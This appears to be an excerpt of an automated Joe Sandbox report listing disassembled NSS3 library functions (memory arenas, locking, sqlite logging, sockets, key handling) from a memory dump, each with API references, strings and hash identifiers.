Part of subcall function 6C65C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C65C4A9
Part of subcall function 6C65C3D0: PR_Unlock.NSS3(?), ref: 6C65C4F4

Strings

<+hl, xrefs: 6C682FD0

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+hl
API String ID: 2538134263-1182924248
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: ff6fb6b7f6c22e405bcad03c8fecf1a2a01dc2b4cea31fdca86dc00daee5521e
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 1211E7B6B012086BDB008E64DC00A9B77D9AB857A8F184234F91CD7780E772ED15C7B5

Function 6C6DCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6DCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6DCC7B), ref: 6C6DCD7A
Part of subcall function 6C6DCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6DCD8E
Part of subcall function 6C6DCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6DCDA5
Part of subcall function 6C6DCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6DCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C6DCCB5
memcpy.VCRUNTIME140(6C7714F4,6C7702AC,00000090), ref: 6C6DCCD3
memcpy.VCRUNTIME140(6C771588,6C7702AC,00000090), ref: 6C6DCD2B

Part of subcall function 6C5F9AC0: socket.WSOCK32(?,00000017,6C5F99BE), ref: 6C5F9AE6
Part of subcall function 6C5F9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C5F99BE), ref: 6C5F9AFC

Part of subcall function 6C600590: closesocket.WSOCK32(6C5F9A8F,?,?,6C5F9A8F,00000000), ref: 6C600597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C6DCCB0

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 699588c56f50d267ad02bd7459574cf80e3ed23b034d37ae03e1b1be73dacf22
Instruction ID: 257153d39d786f4bdd0830c9eb185fb5a195c53900627563b48cc4eba8a938b6
Opcode Fuzzy Hash: 699588c56f50d267ad02bd7459574cf80e3ed23b034d37ae03e1b1be73dacf22
Instruction Fuzzy Hash: BA11B4F1B0026C6FDB159F699E2BB423BAC9346218F141039E51ECBB41E735D4148BF5

Function 6C6DB860 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000116BB,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,6C6CA4E2), ref: 6C6DB8C6

Strings

%s at line %d of [%.10s], xrefs: 6C6DB8BF
database corruption, xrefs: 6C6DB8BA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6DB8B0

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: fd77ff878ebb39d22f2b83491548bb2e1bb5ceeea3e8d50704288dbb9dd42ac7
Instruction ID: 95f0e1be4bc1448f3071b3fcdb7877303b9273dd2aa5b02aa03368449be4c59b
Opcode Fuzzy Hash: fd77ff878ebb39d22f2b83491548bb2e1bb5ceeea3e8d50704288dbb9dd42ac7
Instruction Fuzzy Hash: 1C01F9329482A0A9D3109B7A5D84D937FBD9F8531574B01C9FA445F2B3E612D901C395

Function 6C5A7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5A81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5A8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5A8255
sqlite3_free.NSS3(00000000), ref: 6C5A8260

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 853d441fc65c5fc832b2b191a9d2117cc9cee29f20d1c5ac8e674de93a582cc1
Instruction ID: 95a2bad0c9cd25a5f52a94144aa8d8f60daa684f5691ae7eda11f1dbe7802a00
Opcode Fuzzy Hash: 853d441fc65c5fc832b2b191a9d2117cc9cee29f20d1c5ac8e674de93a582cc1
Instruction Fuzzy Hash: 99916B71A01698CFEB05DFE2DC4C7ADB7B1BF06304F24013AD41A9BA54D7395946CBA2

Function 6C681D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C681D8F

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C681DA6

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C681E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C681ED0

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: a8d7b38e364607c52ca3e7711fb128151d82f7b95b8ef5626f1633b1a09b2842
Instruction ID: bd04f42f0168f38b16f96d720890f98f210d0ff5d1ec59d2ac528d4a1eb370c9
Opcode Fuzzy Hash: a8d7b38e364607c52ca3e7711fb128151d82f7b95b8ef5626f1633b1a09b2842
Instruction Fuzzy Hash: 53517871A01309CFDB10CF98D888BAEB7B6BF49308F144129E8299B750D731E946CBA4

Function 6C6D4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5B85D2,00000000,?,?), ref: 6C6D4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6D500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6D50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6D50D6

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 0821ea0a7a225af0def6a1a0733e63a9145b1ae4fa89a8e13c299b869652997f
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 584182B2A002158BCB18CF19DCD179AB7E1FF4431871D466DD84ACBB02E379E891CB95

Function 6C5FFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C5FFDFE), ref: 6C5FFFAD

Part of subcall function 6C59CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5FF9C9,?,6C5FF4DA,6C5FF9C9,?,?,6C5C369A), ref: 6C59CA7A
Part of subcall function 6C59CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C59CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C5FFDFE), ref: 6C5FFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C5FFDFE), ref: 6C60001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C5FFDFE), ref: 6C60006F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 738f63a193e19287797f9dd937713d311922c2e4962c6b1ad1073c6787bebbde
Instruction ID: 0295222c085910f950ada5b25021dea4d3251d264998ceebc859ea6c43e62a5f
Opcode Fuzzy Hash: 738f63a193e19287797f9dd937713d311922c2e4962c6b1ad1073c6787bebbde
Instruction Fuzzy Hash: CB41ADB1B002199BDF08DFA5DD89ABE7775FB46304F140039D806A7B00DB35A945CBA5

Function 6C72A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C72A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C72A662), ref: 6C72A69E
Part of subcall function 6C72A690: PR_NewCondVar.NSS3(?), ref: 6C72A6B4

PR_IntervalNow.NSS3 ref: 6C72A8C6
EnterCriticalSection.KERNEL32(?), ref: 6C72A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C72A944
PR_SetPollableEvent.NSS3(?), ref: 6C72A94F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 6c94202cbe66f72e6ec6c4b9bc53ef5c2d959033c78d803dd5a5c58bfe3005b4
Instruction ID: 7e7212790cb5143ab403b171ca40df3a5d00ec9fd22a0839ea3d005c05e3cc94
Opcode Fuzzy Hash: 6c94202cbe66f72e6ec6c4b9bc53ef5c2d959033c78d803dd5a5c58bfe3005b4
Instruction Fuzzy Hash: A24127B4A01A02DFC704CF2AC680956FBF5FF48328725856AE989CBB11E731E850CF90

Function 6C6E7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6E7ED8

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 781b9de711ed515b3e741b257f78e93ab5b69253ad90d8f40dd0fab4eccab26c
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 3331B5B1A011158FDB04CF19DC9499ABBE2FF8831871B816AC8585B712EB75EC46CBD1

Function 6C69DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C623090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C63AE42), ref: 6C6230AA
Part of subcall function 6C623090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6230C7
Part of subcall function 6C623090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6230E5
Part of subcall function 6C623090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C623116
Part of subcall function 6C623090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C62312B
Part of subcall function 6C623090: PK11_DestroyObject.NSS3(?,?), ref: 6C623154
Part of subcall function 6C623090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C62317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C69DBBD), ref: 6C69DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69DFEE

Part of subcall function 6C6386D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C638716
Part of subcall function 6C6386D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C638727
Part of subcall function 6C6386D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C63873B
Part of subcall function 6C6386D0: PR_Unlock.NSS3(?), ref: 6C63876F
Part of subcall function 6C6386D0: PR_SetError.NSS3(00000000,00000000), ref: 6C638787

Part of subcall function 6C65F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C65F854
Part of subcall function 6C65F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C65F868
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C65F882
Part of subcall function 6C65F820: free.MOZGLUE(04C483FF,?,?), ref: 6C65F889
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C65F8A4
Part of subcall function 6C65F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C65F8AB
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C65F8C9
Part of subcall function 6C65F820: free.MOZGLUE(280F10EC,?,?), ref: 6C65F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C69DBBD), ref: 6C69DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C69DBBD), ref: 6C69E007

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 17a4b74b95708e39646c8025c42dc335e8dead29767963c08874ca6e0c934524
Instruction ID: f9341bebafc0633ffe20245f54cd9756593ba4cebf05695a1edcd854b18e86c2
Opcode Fuzzy Hash: 17a4b74b95708e39646c8025c42dc335e8dead29767963c08874ca6e0c934524
Instruction Fuzzy Hash: 623107B1A0060257D7009A7A9C86AAB73B8AF5630CF040135E90BD7B12FB35D918C3EE

Function 6C616C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C616C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C616CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C616CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C738FE0), ref: 6C616CFE

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 6d9db5effac0bd34e103b05cdab31915356861af50c50afaac4088b674d31242
Instruction ID: 1a0448d208684bcd8c77b5f45b27ef2677daa82a5121c93aa8b18bcd60222970
Opcode Fuzzy Hash: 6d9db5effac0bd34e103b05cdab31915356861af50c50afaac4088b674d31242
Instruction Fuzzy Hash: A8318EB5A042169FEB08CF69C891ABFBBF5EF45249B10442DD905E7B00EB31D905CBA4

Function 6C724F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C724F5D
free.MOZGLUE(?), ref: 6C724F74
free.MOZGLUE(?), ref: 6C724F82
GetLastError.KERNEL32 ref: 6C724F90

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: d9a1982240a130fe4494e2fe123952e2be9e6e6ff191d3973775ce40229c10cc
Instruction ID: 1b28b15658010b2eb483aab84404018084a30bb15a8d0c0b8898a860dde6ef2c
Opcode Fuzzy Hash: d9a1982240a130fe4494e2fe123952e2be9e6e6ff191d3973775ce40229c10cc
Instruction Fuzzy Hash: 7B312875A003195BEF11CB69DD85BDFB3B8FF85358F080239EC15A7781D738A90586A1

Function 6C66DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C66DDB1,?,00000000), ref: 6C66DDF4

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C66DDB1,?,00000000), ref: 6C66DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C66DDB1,?,00000000), ref: 6C66DE17

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C66DE80

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: e7111e3d419cc2adfd7538cab89366f2b9d24386272c081fc705e3a1f3df82aa
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: ED31E2B1900B429BE700CF57C880692B7E4BFA5318B24822AD81C87F41EB71E1A5CB96

Function 6C65FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C635ADC,?,00000000,00000001,?,?,00000000,?,6C62BA55,?,?), ref: 6C65FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C65FE5F
PR_Unlock.NSS3(78831D74), ref: 6C65FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C65FED6

